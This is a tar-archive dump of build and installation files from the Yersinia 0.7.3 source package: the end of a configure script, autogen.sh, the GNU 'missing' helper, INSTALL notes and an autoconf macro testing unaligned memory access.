s//\1/ q } s/.*/./; q'` as_dir=$dirpart/$fdir; as_fn_mkdir_p # echo "creating $dirpart/$file" echo '# dummy' > "$dirpart/$file" done done } ;; "default-1":C) case "$CONFIG_FILES" in *po/Makefile.in*) sed -e "/POTFILES =/r po/POTFILES" po/Makefile.in > po/Makefile esac ;; esac done # for ac_tag as_fn_exit 0 _ACEOF ac_clean_files=$ac_clean_files_save test $ac_write_fail = 0 || as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5 # configure is writing to config.log, and then calls config.status. # config.status does its own redirection, appending to config.log. # Unfortunately, on DOS this fails, as config.log is still kept open # by configure, so config.status won't be able to write to it; its # output is simply discarded. So we exec the FD to /dev/null, # effectively closing config.log, so it can be properly (re)opened and # appended to by config.status. When coming back to configure, we # need to make the FD available again. if test "$no_create" != yes; then ac_cs_success=: ac_config_status_args= test "$silent" = yes && ac_config_status_args="$ac_config_status_args --quiet" exec 5>/dev/null $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false exec 5>>config.log # Use ||, not &&, to avoid exiting from the if with $? = 1, which # would make configure fail if this is the last instruction. $ac_cs_success || as_fn_exit 1 fi if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} fi echo "" echo " Yersinia, our beloved one, has been configured with the following options." echo " Remote admin : $enable_admin" echo " Use ncurses : $has_curses" echo " Use gtk : $use_gtk" echo "" yersinia-0.7.3/AUTHORS0000644000175000017500000000026412234207266012224 0ustar nknk$Id: AUTHORS 43 2007-04-27 11:07:17Z slay $ Alfredo Andres Omella David Barroso Berrueta http://www.yersinia.net yersinia-0.7.3/autogen.sh0000755000175000017500000001057512234207266013163 0ustar nknk#!/bin/sh # Run this to generate all the initial makefiles, etc. srcdir=`dirname $0` test -z "$srcdir" && srcdir=. DIE=0 if [ -n "$GNOME2_DIR" ]; then ACLOCAL_FLAGS="-I $GNOME2_DIR/share/aclocal $ACLOCAL_FLAGS" LD_LIBRARY_PATH="$GNOME2_DIR/lib:$LD_LIBRARY_PATH" PATH="$GNOME2_DIR/bin:$PATH" export PATH export LD_LIBRARY_PATH fi (test -f $srcdir/configure.in) || { echo -n "**Error**: Directory "\`$srcdir\'" does not look like the" echo " top-level package directory" exit 1 } (autoconf --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`autoconf' installed." echo "Download the appropriate package for your distribution," echo "or get the source tarball at ftp://ftp.gnu.org/pub/gnu/" DIE=1 } (grep "^AC_PROG_INTLTOOL" $srcdir/configure.in >/dev/null) && { (intltoolize --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`intltool' installed." echo "You can get it from:" echo " ftp://ftp.gnome.org/pub/GNOME/" DIE=1 } } (grep "^AM_PROG_XML_I18N_TOOLS" $srcdir/configure.in >/dev/null) && { (xml-i18n-toolize --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`xml-i18n-toolize' installed." echo "You can get it from:" echo " ftp://ftp.gnome.org/pub/GNOME/" DIE=1 } } (grep "^AM_PROG_LIBTOOL" $srcdir/configure.in >/dev/null) && { (libtool --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`libtool' installed." echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/" DIE=1 } } (grep "^AM_GLIB_GNU_GETTEXT" $srcdir/configure.in >/dev/null) && { (grep "sed.*POTFILES" $srcdir/configure.in) > /dev/null || \ (glib-gettextize --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`glib' installed." echo "You can get it from: ftp://ftp.gtk.org/pub/gtk" DIE=1 } } (automake --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: You must have \`automake' installed." echo "You can get it from: ftp://ftp.gnu.org/pub/gnu/" DIE=1 NO_AUTOMAKE=yes } # if no automake, don't bother testing for aclocal test -n "$NO_AUTOMAKE" || (aclocal --version) < /dev/null > /dev/null 2>&1 || { echo echo "**Error**: Missing \`aclocal'. The version of \`automake'" echo "installed doesn't appear recent enough." echo "You can get automake from ftp://ftp.gnu.org/pub/gnu/" DIE=1 } if test "$DIE" -eq 1; then exit 1 fi if test -z "$*"; then echo "**Warning**: I am going to run \`configure' with no arguments." echo "If you wish to pass any to it, please specify them on the" echo \`$0\'" command line." echo fi case $CC in xlc ) am_opt=--include-deps;; esac for coin in `find $srcdir -name configure.in -print` do dr=`dirname $coin` if test -f $dr/NO-AUTO-GEN; then echo skipping $dr -- flagged as no auto-gen else echo processing $dr ( cd $dr aclocalinclude="$ACLOCAL_FLAGS" if grep "^AM_GLIB_GNU_GETTEXT" configure.in >/dev/null; then echo "Creating $dr/aclocal.m4 ..." test -r $dr/aclocal.m4 || touch $dr/aclocal.m4 echo "Running glib-gettextize... Ignore non-fatal messages." echo "no" | glib-gettextize --force --copy echo "Making $dr/aclocal.m4 writable ..." test -r $dr/aclocal.m4 && chmod u+w $dr/aclocal.m4 fi if grep "^AC_PROG_INTLTOOL" configure.in >/dev/null; then echo "Running intltoolize..." intltoolize --copy --force --automake fi if grep "^AM_PROG_XML_I18N_TOOLS" configure.in >/dev/null; then echo "Running xml-i18n-toolize..." xml-i18n-toolize --copy --force --automake fi if grep "^AM_PROG_LIBTOOL" configure.in >/dev/null; then if test -z "$NO_LIBTOOLIZE" ; then echo "Running libtoolize..." libtoolize --force --copy fi fi echo "Running aclocal $aclocalinclude ..." aclocal $aclocalinclude if grep "^AM_CONFIG_HEADER" configure.in >/dev/null; then echo "Running autoheader..." autoheader fi echo "Running automake --gnu $am_opt ..." automake --add-missing --gnu $am_opt echo "Running autoconf ..." autoconf ) fi done #conf_flags="--enable-maintainer-mode" if test x$NOCONFIGURE = x; then echo Running $srcdir/configure $conf_flags "$@" ... $srcdir/configure $conf_flags "$@" \ && echo Now type \`make\' to compile. || exit 1 else echo Skipping configure process. fi yersinia-0.7.3/missing0000755000175000017500000002403612234207266012556 0ustar nknk#! /bin/sh # Common stub for a few missing GNU programs while installing. # Copyright (C) 1996, 1997, 1999, 2000, 2002 Free Software Foundation, Inc. # Originally by Fran,cois Pinard , 1996. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA # 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. if test $# -eq 0; then echo 1>&2 "Try \`$0 --help' for more information" exit 1 fi run=: # In the cases where this matters, `missing' is being run in the # srcdir already. if test -f configure.ac; then configure_ac=configure.ac else configure_ac=configure.in fi case "$1" in --run) # Try to run requested program, and just exit if it succeeds. run= shift "$@" && exit 0 ;; esac # If it does not exist, or fails to run (possibly an outdated version), # try to emulate it. case "$1" in -h|--h|--he|--hel|--help) echo "\ $0 [OPTION]... PROGRAM [ARGUMENT]... Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an error status if there is no known handling for PROGRAM. Options: -h, --help display this help and exit -v, --version output version information and exit --run try to run the given command, and emulate it if it fails Supported PROGRAM values: aclocal touch file \`aclocal.m4' autoconf touch file \`configure' autoheader touch file \`config.h.in' automake touch all \`Makefile.in' files bison create \`y.tab.[ch]', if possible, from existing .[ch] flex create \`lex.yy.c', if possible, from existing .c help2man touch the output file lex create \`lex.yy.c', if possible, from existing .c makeinfo touch the output file tar try tar, gnutar, gtar, then tar without non-portable flags yacc create \`y.tab.[ch]', if possible, from existing .[ch]" ;; -v|--v|--ve|--ver|--vers|--versi|--versio|--version) echo "missing 0.4 - GNU automake" ;; -*) echo 1>&2 "$0: Unknown \`$1' option" echo 1>&2 "Try \`$0 --help' for more information" exit 1 ;; aclocal*) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 fi echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`acinclude.m4' or \`${configure_ac}'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." touch aclocal.m4 ;; autoconf) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 fi echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`${configure_ac}'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." touch configure ;; autoheader) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 fi echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`acconfig.h' or \`${configure_ac}'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}` test -z "$files" && files="config.h" touch_files= for f in $files; do case "$f" in *:*) touch_files="$touch_files "`echo "$f" | sed -e 's/^[^:]*://' -e 's/:.*//'`;; *) touch_files="$touch_files $f.in";; esac done touch $touch_files ;; automake*) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 fi echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." find . -type f -name Makefile.am -print | sed 's/\.am$/.in/' | while read f; do touch "$f"; done ;; autom4te) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 fi echo 1>&2 "\ WARNING: \`$1' is needed, and you do not seem to have it handy on your system. You might have modified some files without having the proper tools for further handling them. You can get \`$1Help2man' as part of \`Autoconf' from any GNU archive site." file=`echo "$*" | sed -n 's/.*--output[ =]*\([^ ]*\).*/\1/p'` test -z "$file" && file=`echo "$*" | sed -n 's/.*-o[ ]*\([^ ]*\).*/\1/p'` if test -f "$file"; then touch $file else test -z "$file" || exec >$file echo "#! /bin/sh" echo "# Created by GNU Automake missing as a replacement of" echo "# $ $@" echo "exit 0" chmod +x $file exit 1 fi ;; bison|yacc) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified a \`.y' file. You may need the \`Bison' package in order for those modifications to take effect. You can get \`Bison' from any GNU archive site." rm -f y.tab.c y.tab.h if [ $# -ne 1 ]; then eval LASTARG="\${$#}" case "$LASTARG" in *.y) SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" y.tab.c fi SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" y.tab.h fi ;; esac fi if [ ! -f y.tab.h ]; then echo >y.tab.h fi if [ ! -f y.tab.c ]; then echo 'main() { return 0; }' >y.tab.c fi ;; lex|flex) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified a \`.l' file. You may need the \`Flex' package in order for those modifications to take effect. You can get \`Flex' from any GNU archive site." rm -f lex.yy.c if [ $# -ne 1 ]; then eval LASTARG="\${$#}" case "$LASTARG" in *.l) SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" lex.yy.c fi ;; esac fi if [ ! -f lex.yy.c ]; then echo 'main() { return 0; }' >lex.yy.c fi ;; help2man) if test -z "$run" && ($1 --version) > /dev/null 2>&1; then # We have it, but it failed. exit 1 fi echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified a dependency of a manual page. You may need the \`Help2man' package in order for those modifications to take effect. You can get \`Help2man' from any GNU archive site." file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` if test -z "$file"; then file=`echo "$*" | sed -n 's/.*--output=\([^ ]*\).*/\1/p'` fi if [ -f "$file" ]; then touch $file else test -z "$file" || exec >$file echo ".ab help2man is required to generate this page" exit 1 fi ;; makeinfo) if test -z "$run" && (makeinfo --version) > /dev/null 2>&1; then # We have makeinfo, but it failed. exit 1 fi echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified a \`.texi' or \`.texinfo' file, or any other file indirectly affecting the aspect of the manual. The spurious call might also be the consequence of using a buggy \`make' (AIX, DU, IRIX). You might want to install the \`Texinfo' package or the \`GNU make' package. Grab either from any GNU archive site." file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` if test -z "$file"; then file=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $file` fi touch $file ;; tar) shift if test -n "$run"; then echo 1>&2 "ERROR: \`tar' requires --run" exit 1 fi # We have already tried tar in the generic part. # Look for gnutar/gtar before invocation to avoid ugly error # messages. if (gnutar --version > /dev/null 2>&1); then gnutar "$@" && exit 0 fi if (gtar --version > /dev/null 2>&1); then gtar "$@" && exit 0 fi firstarg="$1" if shift; then case "$firstarg" in *o*) firstarg=`echo "$firstarg" | sed s/o//` tar "$firstarg" "$@" && exit 0 ;; esac case "$firstarg" in *h*) firstarg=`echo "$firstarg" | sed s/h//` tar "$firstarg" "$@" && exit 0 ;; esac fi echo 1>&2 "\ WARNING: I can't seem to be able to run \`tar' with the given arguments. You may want to install GNU tar or Free paxutils, or check the command line arguments." exit 1 ;; *) echo 1>&2 "\ WARNING: \`$1' is needed, and you do not seem to have it handy on your system. You might have modified some files without having the proper tools for further handling them. Check the \`README' file, it often tells you about the needed prerequirements for installing this package. You may also peek at any GNU archive site, in case some other package would contain this missing \`$1' program." exit 1 ;; esac exit 0 yersinia-0.7.3/INSTALL0000644000175000017500000000343712234207266012212 0ustar nknk$Id: INSTALL 43 2007-04-27 11:07:17Z slay $ Last release and CVS/SVN repository can be always accessed at http://www.yersinia.net Requirements ------------ - Pcap library at least 0.8, you can get it at: http://www.tcpdump.org - Libnet library at least 1.1.2, you can get it at: http://www.packetfactory.net/libnet - If you want to compile the GTK2 interface you'll need the GTK libraries. Sources from CVS/SVN repository ------------------------------- If the sources have been obtained from the CVS/SVN repository you will need the autotools and automake packages. Autoconf must be at least version 2.52 and automake must be at least version 1.6. To install Yersinia: ./autogen.sh ./configure make make install Sources from distribution ------------------------- The usual way: ./configure make make install Configure options ----------------- Tha main configure options are the following: --disable-admin Disable the remote admin interface --disable-gtk Disable the gtk 2.0 interface --with-pcap-includes Specify the pcap include directory --with-libnet-includes Specify the libnet include directory Systems supported ----------------- Due to our lack of resources, we've only been able to test Yersinia in a few different operating systems; so please, if you have any other system that is not included in the list below, send us a mail :) - OpenBSD 3.4 (note: upgrade your pcap libraries to at least 0.7.2) - Linux 2.4.x and 2.6.x - Solaris 5.8 64bits SPARC. - FreeBSD 5.2.1 Do you wanna port yersinia to other systems? Plz, tell us, but keep in mind that you *SHOULD* have the platform in order to test it 'cause we don't have all posible platforms (Ebay rules, but we can't afford it). Plz, send your comments to: yersinia@yersinia.net yersinia-0.7.3/acinclude.m40000644000175000017500000001065012234207266013345 0ustar nknkdnl dnl Copyright (c) 1995, 1996, 1997, 1998 dnl The Regents of the University of California. All rights reserved. dnl dnl Redistribution and use in source and binary forms, with or without dnl modification, are permitted provided that: (1) source code distributions dnl retain the above copyright notice and this paragraph in its entirety, (2) dnl distributions including binary code include the above copyright notice and dnl this paragraph in its entirety in the documentation or other materials dnl provided with the distribution, and (3) all advertising materials mentioning dnl features or use of this software display the following acknowledgement: dnl ``This product includes software developed by the University of California, dnl Lawrence Berkeley Laboratory and its contributors.'' Neither the name of dnl the University nor the names of its contributors may be used to endorse dnl or promote products derived from this software without specific prior dnl written permission. dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. dnl dnl LBL autoconf macros dnl dnl dnl Checks to see if unaligned memory accesses fail dnl dnl usage: dnl dnl AC_LBL_UNALIGNED_ACCESS dnl dnl results: dnl dnl LBL_ALIGN (DEFINED) dnl AC_DEFUN([AC_LBL_UNALIGNED_ACCESS], [AC_MSG_CHECKING(if unaligned accesses fail) AC_CACHE_VAL(ac_cv_lbl_unaligned_fail, [case "$host_cpu" in # # These are CPU types where: # # the CPU faults on an unaligned access, but at least some # OSes that support that CPU catch the fault and simulate # the unaligned access (e.g., Alpha/{Digital,Tru64} UNIX) - # the simulation is slow, so we don't want to use it; # # the CPU, I infer (from the old # # XXX: should also check that they don't do weird things (like on arm) # # comment) doesn't fault on unaligned accesses, but doesn't # do a normal unaligned fetch, either (e.g., presumably, ARM); # # for whatever reason, the test program doesn't work # (this has been claimed to be the case for several of those # CPUs - I don't know what the problem is; the problem # was reported as "the test program dumps core" for SuperH, # but that's what the test program is *supposed* to do - # it dumps core before it writes anything, so the test # for an empty output file should find an empty output # file and conclude that unaligned accesses don't work). # # This run-time test won't work if you're cross-compiling, so # in order to support cross-compiling for a particular CPU, # we have to wire in the list of CPU types anyway, as far as # I know, so perhaps we should just have a set of CPUs on # which we know it doesn't work, a set of CPUs on which we # know it does work, and have the script just fail on other # cpu types and update it when such a failure occurs. # alpha*|arm*|bfin*|hp*|mips*|sh*|sparc*|ia64|nv1) ac_cv_lbl_unaligned_fail=yes ;; *) cat >conftest.c < # include # include unsigned char a[[5]] = { 1, 2, 3, 4, 5 }; main() { unsigned int i; pid_t pid; int status; /* avoid "core dumped" message */ pid = fork(); if (pid < 0) exit(2); if (pid > 0) { /* parent */ pid = waitpid(pid, &status, 0); if (pid < 0) exit(3); exit(!WIFEXITED(status)); } /* child */ i = *(unsigned int *)&a[[1]]; printf("%d\n", i); exit(0); } EOF ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ conftest.c $LIBS >/dev/null 2>&1 if test ! -x conftest ; then dnl failed to compile for some reason ac_cv_lbl_unaligned_fail=yes else ./conftest >conftest.out if test ! -s conftest.out ; then ac_cv_lbl_unaligned_fail=yes else ac_cv_lbl_unaligned_fail=no fi fi rm -f -r conftest* core core.conftest ;; esac]) AC_MSG_RESULT($ac_cv_lbl_unaligned_fail) if test $ac_cv_lbl_unaligned_fail = yes ; then AC_DEFINE(LBL_ALIGN,1,[if unaligned access fails]) fi])